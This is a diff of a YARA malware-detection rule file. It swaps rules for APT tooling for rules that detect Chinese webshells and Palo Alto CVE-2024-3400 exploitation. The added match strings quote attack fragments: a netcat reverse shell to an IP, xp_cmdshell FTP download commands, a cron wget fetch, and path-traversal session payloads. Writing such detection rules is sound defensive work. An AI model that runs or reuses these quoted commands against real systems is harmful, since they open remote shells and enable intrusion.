-		$seq2 = { 6A 00 50 6A 14 8D ?? ?? ?? ?? ?? 50 53 FF }
-		$seq3 = { 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 80 }
-		$decryption = { 8B C? [2-3] F6 D? 1A C? [2-3] [2-3] 30 0? ?? 4? }
+		$s1 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
+		$s2 = "autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)" fullword ascii
+		$s3 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
+		$s4 = "szTempFile = server.mappath(\"cmd.txt\")" fullword ascii
+
+	condition:
+		filesize <70KB and 2 of them
+}
+rule SIGNATURE_BASE_Txt_Php_2 : FILE
+{
+	meta:
+		description = "Chinese Hacktool Set - Webshells - file php.html"
+		author = "Florian Roth (Nextron Systems)"
+		id = "66916e32-9471-54bd-944e-bb751b38d3b0"
+		date = "2015-06-14"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L532-L552"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a7d5fcbd39071e0915c4ad914d31e00c7127bcfc"
+		logic_hash = "c08f62c3d468c2ebacd10fff6aa0c63bd303d627d487c070a9d22419bf6906cd"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s1 = "function connect($dbhost, $dbuser, $dbpass, $dbname='') {" fullword ascii
+		$s2 = "scookie('loginpass', '', -86400 * 365);" fullword ascii
+		$s3 = "<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>" fullword ascii
+		$s4 = "Powered by <a title=\"Build 20130112\" href=\"http://www.4ngel.net\" target=\"_b" ascii
+		$s5 = "formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\\'shell\\',null,this." ascii
+		$s6 = "secparam('IP Configurate',execute('ipconfig -all'));" fullword ascii
+		$s7 = "secparam('Hosts', @file_get_contents('/etc/hosts'));" fullword ascii
+		$s8 = "p('<p><a href=\"http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/\" target=" ascii
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and all of ($seq*) and $decryption
+		filesize <100KB and 4 of them
 }
-rule SIGNATURE_BASE_APT_CN_Twistedpanda_SPINNER_1 : FILE
+rule SIGNATURE_BASE_Txt_Ftp : FILE
 {
 	meta:
-		description = "Detects the obfuscated variant of SPINNER payload used by TwistedPanda"
-		author = "Check Point Research"
-		id = "0b44013d-0caa-5ea2-ab08-e2a6a5732c03"
-		date = "2022-04-14"
+		description = "Chinese Hacktool Set - Webshells - file ftp.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "311de4b0-fa19-545a-8a65-a40b255b5b39"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_twisted_panda.yar#L46-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e7abe4b3f4225596131882a9175f9ac2e45ba00557950772a8e4d1eaeab97d05"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L554-L573"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3495e6bcb5484e678ce4bae0bd1a420b7eb6ad1d"
+		logic_hash = "02eae9b19274ab7b816d7c336017af8f0fdd5273664eb37be92be12661f3ef1f"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "a9fb7bb40de8508606a318866e0e5ff79b98f314e782f26c7044622939dfde81"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$config_init = { C7 ?? ?? ?? 00 00 00 C7 ?? ?? ?? 00 00 00 C6 }
-		$c2_cmd_1 = { 01 00 03 10}
-		$c2_cmd_2 = { 02 00 01 10}
-		$c2_cmd_3 = { 01 00 01 10}
-		$decryption = { 8D 83 [4] 80 B3 [5] 89 F1 6A 01 50 E8 [4] 80 B3 }
+		$s1 = "';exec master.dbo.xp_cmdshell 'echo open " ascii
+		$s2 = "';exec master.dbo.xp_cmdshell 'ftp -s:';" ascii
+		$s3 = "';exec master.dbo.xp_cmdshell 'echo get lcx.exe" ascii
+		$s4 = "';exec master.dbo.xp_cmdshell 'echo get php.exe" ascii
+		$s5 = "';exec master.dbo.xp_cmdshell 'copy " ascii
+		$s6 = "ftp -s:d:\\ftp.txt " fullword ascii
+		$s7 = "echo bye>>d:\\ftp.txt " fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and #config_init>10 and 2 of ($c2_cmd_*) and $decryption
+		filesize <2KB and 2 of them
 }
-rule SIGNATURE_BASE_APT_CN_Twistedpanda_SPINNER_2 : FILE
+rule SIGNATURE_BASE_Txt_Lcx : FILE
 {
 	meta:
-		description = "Detects an older variant of SPINNER payload used by TwistedPanda"
-		author = "Check Point Research"
-		id = "bbbf3af1-127f-5d32-967f-bdb94311d1d6"
-		date = "2022-04-14"
+		description = "Chinese Hacktool Set - Webshells - file lcx.c"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4a4e8810-6dae-526e-86f0-43de45d1c87a"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_twisted_panda.yar#L82-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d1e34903e58fb76671a076acbb9f26e10d511c8f00be90b4901d61b73b90a9a7"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L575-L592"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ddb3b6a5c5c22692de539ccb796ede214862befe"
+		logic_hash = "48121824d3173b77b54b52dc60d3422a904ada46a6ebb20bb585086911cd8360"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "28ecd1127bac08759d018787484b1bd16213809a2cc414514dc1ea87eb4c5ab8"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$config_init = { C7 [3] 00 00 00 C7 [3] 00 00 00 C6 }
-		$c2_cmd_1 = { 01 00 03 10 }
-		$c2_cmd_2 = { 02 00 01 10 }
-		$c2_cmd_3 = { 01 00 01 10 }
-		$c2_cmd_4 = { 01 00 00 10 }
-		$c2_cmd_5 = { 02 00 00 10 }
-		$decryption = { 80 B3 [5] 8D BB [4] 8B 56 14 8B C2 8B 4E 10 2B C1 83 F8 01 }
+		$s1 = "printf(\"Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-l" ascii
+		$s2 = "sprintf(tmpbuf2,\"\\r\\n########### reply from %s:%d ####################\\r\\n" ascii
+		$s3 = "printf(\" 3: connect to HOST1:PORT1 and HOST2:PORT2\\r\\n\");" fullword ascii
+		$s4 = "printf(\"got,ip:%s,port:%d\\r\\n\",inet_ntoa(client1.sin_addr),ntohs(client1.sin" ascii
+		$s5 = "printf(\"[-] connect to host1 failed\\r\\n\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and #config_init>10 and 2 of ($c2_cmd_*) and $decryption
+		filesize <25KB and 2 of them
 }
-rule SIGNATURE_BASE_APT_CN_Twistedpanda_64Bit_Loader : FILE
+rule SIGNATURE_BASE_Txt_Jspcmd : FILE
 {
 	meta:
-		description = "Detects the 64bit Loader DLL used by TwistedPanda"
-		author = "Check Point Research"
-		id = "2172dd33-204b-5a05-ad26-534a0c1d7a17"
-		date = "2022-04-14"
+		description = "Chinese Hacktool Set - Webshells - file jspcmd.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "53eb6caf-3578-5df7-a1d8-9e4038b6f57e"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_twisted_panda.yar#L120-L155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "644547f9fa6ca3f34ea32e06896f341e0c92f5c57dee3c478aed0cdf87b2f3de"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L594-L608"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1d4e789031b15adde89a4628afc759859e53e353"
+		logic_hash = "d2cbf753fbd9e261234e6beb6f79aecb407a368704ae09d907d128d04c242053"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "e0d4ef7190ff50e6ad2a2403c87cc37254498e8cc5a3b2b8798983b1b3cdc94f"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$path_check = { 48 8D [6] 48 8B ?? 48 81 [5] 72 }
-		$shellcode_read = { 48 8B D0 41 B8 F0 16 00 00 48 8B CF 48 8B D8 FF}
-		$shellcode_allocate = { BA F0 16 00 00 44 8D 4E 40 33 C9 41 B8 00 30 00 00 FF }
+		$s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
+		$s4 = "out.print(\"Hi,Man 2015\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and $path_check and $shellcode_allocate and $shellcode_read
+		filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_APT_CN_Twistedpanda_Droppers : FILE
+rule SIGNATURE_BASE_Txt_Jsp : FILE
 {
 	meta:
-		description = "Detects droppers used by TwistedPanda"
-		author = "Check Point Research"
-		id = "f61c8b97-5870-5837-942f-f1650870960a"
-		date = "2022-04-14"
+		description = "Chinese Hacktool Set - Webshells - file jsp.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "53eb6caf-3578-5df7-a1d8-9e4038b6f57e"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_twisted_panda.yar#L157-L194"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "820b4796511dcf98cdc8017a39cc2c65e44d8d9a20f55803aa1ddd36f649c83a"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L610-L626"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "74518faf08637c53095697071db09d34dbe8d676"
+		logic_hash = "039b145031cf1127cb1b2aeda063d578d9eb151559232d7e6049965111df1e28"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "59dea38da6e515af45d6df68f8959601e2bbf0302e35b7989e741e9aba2f0291"
-		hash2 = "8b04479fdf22892cdfebd6e6fbed180701e036806ed0ddbe79f0b29f73449248"
-		hash3 = "f29a0cda6e56fc0e26efa3b6628c6bcaa0819a3275a10e9da2a8517778152d66"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$switch_control = { 81 FA [4] 75 ?? E8 [4] 48 89 05 [4] E? }
-		$byte_manipulation = { 41 0F [2] 44 [2] 41 [2] 03 41 81 [5] 41 }
-		$stack_strings_1 = { 25 00 70 00 }
-		$stack_strings_2 = { 75 00 62 00 }
-		$stack_strings_3 = { 6C 00 69 00 }
-		$stack_strings_4 = { 63 00 25 00 }
+		$s1 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
+		$s2 = "Process pro = Runtime.getRuntime().exec(exe);" fullword ascii
+		$s3 = "<option value=\\\"nc -e cmd.exe 192.168.230.1 4444\\\">nc</option>\"" fullword ascii
+		$s4 = "cmd = \"cmd.exe /c set\";" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and #switch_control>8 and all of ($stack_strings_*) and $byte_manipulation
+		filesize <715KB and 2 of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Backdoorlogger
+rule SIGNATURE_BASE_Txt_Aspxlcx : FILE
 {
 	meta:
-		description = "Keylogger used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "e9149baa-83c0-597f-833c-ea0241bb60e6"
-		date = "2014-12-02"
+		description = "Chinese Hacktool Set - Webshells - file aspxlcx.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L3-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c7716b21e85d7e9fb1e1503071c6cd7dc2f4713051e0b03013e3d123a0d800a6"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L628-L644"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "453dd3160db17d0d762e032818a5a10baf234e03"
+		logic_hash = "a6e41e6882e74b0dd55ec4afbf6f8708e28267657e304c97d1304266fe1fbc93"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "BackDoorLogger"
-		$s2 = "zhuAddress"
+		$s1 = "public string remoteip = " ascii
+		$s2 = "=Dns.Resolve(host);" ascii
+		$s3 = "public string remoteport = " ascii
+		$s4 = "public class PortForward" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x253c and filesize <18KB and all of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Jasus
+rule SIGNATURE_BASE_Txt_Xiao : FILE
 {
 	meta:
-		description = "ARP cache poisoner used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "8e04b258-e071-5974-9778-b9d0b97be8d5"
-		date = "2014-12-02"
+		description = "Chinese Hacktool Set - Webshells - file xiao.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cd375597-c343-5f7d-8574-23f700ff432b"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L19-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d6cd7f0f264a0bfdc6af422baa1a0e257cb8f4c39a2cb27a1edaf70201e8564"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L646-L663"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b3b98fb57f5f5ccdc42e746e32950834807903b7"
+		logic_hash = "e99c307482148e4d0eb660281fa70f2dcece200ac8aed032bbef41e421d2a155"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "pcap_dump_open"
-		$s2 = "Resolving IPs to poison..."
-		$s3 = "WARNNING: Gateway IP can not be found"
+		$s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
+		$s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
+		$s3 = "conn.Execute(\"Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED," ascii
+		$s4 = "function Command(cmd, str){" fullword ascii
+		$s5 = "echo \"if(obj.value=='PageWebProxy')obj.form.target='_blank';\"" fullword ascii
 
 	condition:
-		all of them
+		filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Loggermodule
+rule SIGNATURE_BASE_Txt_Aspx : FILE
 {
 	meta:
-		description = "Keylogger used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "949e7ff4-2102-5c89-83c9-f7ba64745661"
-		date = "2014-12-02"
+		description = "Chinese Hacktool Set - Webshells - file aspx.jpg"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L36-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd937bc3fc7054874a3c61bbef859dd8a8ec37872a30be6d3e1776957f98db80"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L665-L681"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ce24e277746c317d887139a0d71dd250bfb0ed58"
+		logic_hash = "43c386bfa88db77801b0494d6a5e4406688f957ffedeb4d2ecdd244549dec708"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%s-%02d%02d%02d%02d%02d.r"
-		$s2 = "C:\\Users\\%s\\AppData\\Cookies\\"
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+		$s2 = "Process[] p=Process.GetProcesses();" fullword ascii
+		$s3 = "Copyright &copy; 2009 Bin" ascii
+		$s4 = "<td colspan=\"5\">CmdShell&nbsp;&nbsp;:&nbsp;<input class=\"input\" runat=\"serv" ascii
 
 	condition:
-		all of them
+		filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Netc
+rule SIGNATURE_BASE_Txt_Sql : FILE
 {
 	meta:
-		description = "Net Crawler used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "68f32662-0d7d-5dfa-8bfd-ca41d383e19c"
-		date = "2014-12-02"
+		description = "Chinese Hacktool Set - Webshells - file Sql.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "586f23d4-3a04-520d-b75b-f9bbcf67ceeb"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L52-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7da739c33da91f07e9e35ceab88a37477372998b4cf4b692b8d26cd1a4d936de"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L683-L699"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f7813f1dfa4eec9a90886c80b88aa38e2adc25d5"
+		logic_hash = "0712b6736d8bdc1f19b3494dc3aab9e9a04dde167b5f843e319755cd311e29bd"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "NetC.exe" wide
-		$s2 = "Net Service"
+		$s1 = "cmd=chr(34)&\"cmd.exe /c \"&request.form(\"cmd\")&\" > 8617.tmp\"&chr(34)" fullword ascii
+		$s2 = "strQuery=\"dbcc addextendedproc ('xp_regwrite','xpstar.dll')\"" fullword ascii
+		$s3 = "strQuery = \"exec master.dbo.xp_cmdshell '\" & request.form(\"cmd\") & \"'\" " fullword ascii
+		$s4 = "session(\"login\")=\"\"" fullword ascii
 
 	condition:
-		all of them
+		filesize <15KB and all of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Shellcreator2
+rule SIGNATURE_BASE_Txt_Hello : FILE
 {
 	meta:
-		description = "Shell Creator used by attackers in Operation Cleaver to create ASPX web shells"
-		author = "Cylance Inc."
-		id = "b62336c3-39e5-55f8-98df-6c2a2cb0764a"
-		date = "2014-12-02"
+		description = "Chinese Hacktool Set - Webshells - file hello.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "42d01411-e333-543d-84a2-758c13bad2df"
+		date = "2015-06-14"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L68-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5422cf4e4809c1183c3c9870d9a5ddcf806082d8cae81a014255f5f18576101d"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L701-L717"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "697a9ebcea6a22a16ce1a51437fcb4e1a1d7f079"
+		logic_hash = "823a0a74b07c8f4821247b3cf0450069a9888d44ccd87144330da88594f260c0"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "ShellCreator2.Properties"
-		$s2 = "set_IV"
+		$s0 = "Dim myProcessStartInfo As New ProcessStartInfo(\"cmd.exe\")" fullword ascii
+		$s1 = "myProcessStartInfo.Arguments=\"/c \" & Cmd.text" fullword ascii
+		$s2 = "myProcess.Start()" fullword ascii
+		$s3 = "<p align=\"center\"><a href=\"?action=cmd\" target=\"_blank\">" fullword ascii
 
 	condition:
-		all of them
+		filesize <25KB and all of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Smartcopy2
+rule SIGNATURE_BASE_APT_UTA028_Forensicartefacts_Paloalto_CVE_2024_3400_Apr24_1 : SCRIPT CVE_2024_3400
 {
 	meta:
-		description = "Malware or hack tool used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "898d9060-208a-5dfb-a452-50ab49b80a9d"
-		date = "2014-12-02"
-		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L84-L98"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b83588fa80558cd387511d38e9d1c51c488216b9cd27e848d8bdc59cd8ce348"
+		description = "Detects forensic artefacts of APT UTA028 as found in a campaign exploiting the Palo Alto CVE-2024-3400 vulnerability"
+		author = "Florian Roth"
+		id = "32cf18ff-784d-5849-87f8-14ede7315188"
+		date = "2024-04-15"
+		modified = "2024-04-18"
+		reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L2-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1261eecca520daa0619859a45d2289d2c23c73be55e1a3849d2032a38e137f4d"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "SCRIPT, CVE-2024-3400"
 
 	strings:
-		$s1 = "SmartCopy2.Properties"
-		$s2 = "ZhuFrameWork"
+		$x1 = "cmd = base64.b64decode(rst.group"
+		$x2 = "f.write(\"/*\"+output+\"*/\")"
+		$x3 = "* * * * * root wget -qO- http://"
+		$x4 = "rm -f /var/appweb/sslvpndocs/global-protect/*.css"
+		$x5a = "failed to unmarshal session(../"
+		$x5b = "failed to unmarshal session(./../"
+		$x6 = "rm -rf /opt/panlogs/tmp/device_telemetry/minute/*" base64
+		$x7 = "$(uname -a) > /var/" base64
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Synflooder
+rule SIGNATURE_BASE_EXPL_Paloalto_CVE_2024_3400_Apr24_1 : CVE_2024_3400
 {
 	meta:
-		description = "Malware or hack tool used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "bdaf02f4-1226-569b-9f55-999be7ff397a"
-		date = "2014-12-02"
-		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L100-L115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b5349931c4eb5733f9bf05e7cfac6a434063a01d802665f70384cb29d9ae2a3d"
+		description = "Detects characteristics of the exploit code used in attacks against Palo Alto GlobalProtect CVE-2024-3400"
+		author = "Florian Roth"
+		id = "1bcf0415-5351-5e09-ab93-496e8dc47c92"
+		date = "2024-04-15"
+		modified = "2024-04-24"
+		reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L27-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ebc94a07b189a2d2dd252b5079fa494162739678fd2ca742e6877189a140da9"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "CVE-2024-3400"
 
 	strings:
-		$s1 = "Unable to resolve [ %s ]. ErrorCode %d"
-		$s2 = "s IP is : %s"
-		$s3 = "Raw TCP Socket Created successfully."
+		$x1 = "SESSID=../../../../opt/panlogs/"
+		$x2 = "SESSID=./../../../../opt/panlogs/"
+		$sa1 = "SESSID=../../../../"
+		$sa2 = "SESSID=./../../../../"
+		$sb2 = "${IFS}"
 
 	condition:
-		all of them
+		1 of ($x*) or (1 of ($sa*) and $sb2)
 }
-rule SIGNATURE_BASE_OPCLEAVER_Tinyzbot
